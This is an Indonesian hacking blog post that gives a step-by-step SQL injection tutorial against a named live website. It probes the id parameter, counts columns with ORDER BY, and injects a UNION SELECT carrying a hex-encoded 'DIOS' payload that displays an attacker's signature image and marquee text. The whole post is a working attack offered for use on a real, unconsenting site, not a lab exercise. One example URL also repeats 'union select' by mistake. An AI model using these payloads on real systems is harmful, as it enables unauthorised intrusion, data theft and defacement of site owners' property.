Tutorial Sql+Live Target 💉

 

Hello World:v

Tutorial SQL injection

Bahan

Dork:

Dios:

Internet:

Chrome:

Live Target

https://www.smtmax.com/category.php?id=-15

Pertama Cek vuln apa Ndak Tambahkan ' Di belakang web klo ada tulisan  (Database Error)

Berarti Vuln

Tinggal Tambahkan 

+order+by+1--+-

Cari bug nya Ampe dapat 

https://www.smtmax.com/category.php?id=-15+order+by+1--+-

Ampe error

Error nya di 15

https://www.smtmax.com/category.php?id=-15+order+by+15--+-

Tinggal Ganti order+by jadi union+select lalu angka dari 1-14

Contoh:https://www.smtmax.com/category.php?id=-15+union+select+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--+-

Muncul angka angka ajaib

Tinggal masukin Dios nya ke angka

Contoh angka nya di 3

https://www.smtmax.com/category.php?id=-15+union+select+1,2,0x3C696D67207372633D2268747470733A2F2F622E746F7034746F702E696F2F705F313936316567363631342E6A7065672220203C2F63656E7465723E200D0A3C6D6172717572653E696E6A656374696F6E20427920546E204C6F6164696E673C2F6D6165717565653E0D0A3C6D6172717565653E546F75636820427920546E204C6F6164696E673C2F6D6172717565653E0D0A3C6D6172717565653E546E204C6F6164696E6757617320686572653A293C2F6D6172717565653E,4,5,6,7,8,9,10,11,12,13,14

Note (Jan lupa tambahkan 0x di depan dios)

Berhasil kan:D

Dah jadi Dah gw mo Pamit by!

Komentar

Postingan populer dari blog ini

Tutorial images to asci

Tutorial Deface Kcfinder Upload Shell

Tutorial Buat Game Ular Bahasa Coding Html